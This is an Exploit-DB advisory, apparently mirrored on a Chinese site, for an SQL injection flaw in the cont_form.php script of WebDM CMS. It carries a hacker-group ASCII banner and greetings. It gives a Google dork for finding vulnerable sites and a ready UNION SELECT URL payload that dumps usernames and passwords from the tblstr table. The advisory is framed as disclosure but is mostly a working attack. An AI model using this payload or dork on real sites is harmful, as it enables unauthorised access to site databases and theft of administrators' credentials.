WebDM CMS – SQL Injection - 体验盒子

作者： Dr.0rYX & Cr3W-DZ
日期： 2010-06-29
类别：
webapps
平台：
php
来源：https://www.exploit-db.com/exploits/14123/
WebDM CMS SQL Injection Vulnerability

* EDB-ID: 
* CVE: 
* OSVDB-ID: 
* Author: Dr.0rYX and Cr3w-DZ
* Published: 
* Verified: 
* Exploit Code: 
* Vulnerable App:

****************************************************************************************************
* _______ ___________.__ ___________.__*
*____ \ _\______\_____/||__ _____\_ _____/______|__| ____ _____*
* /\//_\\___ \|| ||\ ______ \__\|__) \___ \|/ ___\\__\ *
*| |\\_/ \| \/|| | Y\ /_____// __ \_| \ || \/\\___ / __ \_ *
*|___|/\_____/__| |____| |___|/ (____/\___/ |__||__|\___>____/ *
* \/ \/ \/ \/ \/\/ \/*
*.____ __*
*______ ____ ______ _________|__|/|_ ___.__. _/|_____ __________ *
* /___// __ \_/ ___\||\___ \\ __< || \ __\/ __ \\__\/ \*
* \___ \\___/\\___||/|| \/|||\___||| \___/ / __ \|Y Y\ *
*/____>\___>\___>____/ |__||__||__|/ ____||__|\___>____/__|_|/ *
* \/ \/ \/ \/ \/ \/\/*
*Pr!v8 Expl0iT AND t00l ** *
*ALGERIAN HACKERS*
*********************************- NORTH-AFRICA SECURITY TEAM -*************************************
 
[!]WebDM CMS SQL Injection Vulnerability
[!] Author: Dr.0rYX and Cr3w-DZ
[!] MAIL: vx3@hotmail.de<mailto:vx3@hotmail.de>&Cr3w@hotmail.de<mailto:Cr3w@hotmail.de>
 
***************************************************************************/
 
[ Software Information ]
 
[+] Vendor : http://www.internetdm.co.uk/
[+] script : WebDM CMS 
[+] Download : http://www.internetdm.co.uk/site/cont_form.php?cf_id=1&fid=0,333 (sell script )
[+] Vulnerability : SQL injection
[+] Dork : inurl:"cont_form.php?cf_id="
 
**************************************************************************/
[ Vulnerable File ]
 
http://server/[path]/cont_form.php?cf_id=[N.A.S.T ]

http://server/cont_form.php?cf_id=[N.A.S.T ] 
 
[ Exploit ]
 
http://server/[path]/cont_form.php?cf_id=-1+union+select+1,2,3,4,5,6,7,8,Group_concat(uname,0x3a,pword),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+tblstr--


[GReet ]
 
[+] :claw , Exploit-db.com ,Inj3ct0r.com , ALL HACKERS MUSLIMS